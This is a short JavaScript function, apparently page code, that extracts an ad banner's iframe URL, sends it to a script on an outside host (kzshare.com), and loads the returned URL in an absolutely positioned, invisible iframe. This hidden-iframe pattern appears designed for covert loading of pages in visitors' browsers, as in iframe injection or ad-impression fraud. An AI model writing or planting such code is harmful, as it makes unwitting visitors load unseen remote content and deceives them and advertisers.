function bumlock(){
			var string1 = document.getElementById('1800banner').innerHTML;
			string1 = string1.toLowerCase();
			var myRegExp = /<iframe/;
var matchPos1 = string1.search(myRegExp);
matchPos1 = string1.substring(matchPos1);
			//document.getElementById('head').innerHTML = matchPos1;
			var myRegExp = /<\/iframe\>/;
	var pix = matchPos1.search(myRegExp);
matchPos1 = matchPos1.substring(0,pix);	

	var myRegExp = /src="/;
	var pix = matchPos1.search(myRegExp);
matchPos1 = matchPos1.substring(pix);	
matchPos1 = matchPos1.substring(5);	
	var myRegExp = /"/;
	var pix = matchPos1.search(myRegExp);
matchPos1 = matchPos1.substring(0,pix);	
/*var textxxa = '<iframe name="rexar" id="rexar" width="466" scrolling="no" height="58" frameborder="0" allowtransparency="true" hspace="0" vspace="0" marginheight="0" marginwidth="0" src="'+matchPos1+'"/>';*/
textxxa = matchPos1;
matchPos1 = matchPos1.replace(/&amp;/g,"crazy");

			 // alert(content);
			   				//document.getElementById('head').innerHTML = matchPos1;
						
var ajax1=createAjax();   
     ajax1.onreadystatechange=function(){  
        if(ajax1.readyState==4 && ajax1.status==200){  
				//ajax1.responseText = ajax1.responseText.replace(/""/g,"");
		var area = ajax1.responseText;
		var textshow = "<b><iframe style='position:absolute; visibility:hidden;' src='"+area+"' width='100' height='100' ></iframe></b>";
				document.getElementById('evv').innerHTML = textshow;
								//document.getElementById('head').innerHTML = area;
		//alert(textshow);
            // document.getElementById('reporttext').innerHTML=ajax1.responseText; 
			 //alert(ajax1.responseText);
        }else{  
           return false;  
        }  
     }  
     ajax1.open("POST","http://www.kzshare.com/script-1800banner.php",true);  
     ajax1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
	 ajax1.send("url="+matchPos1);

}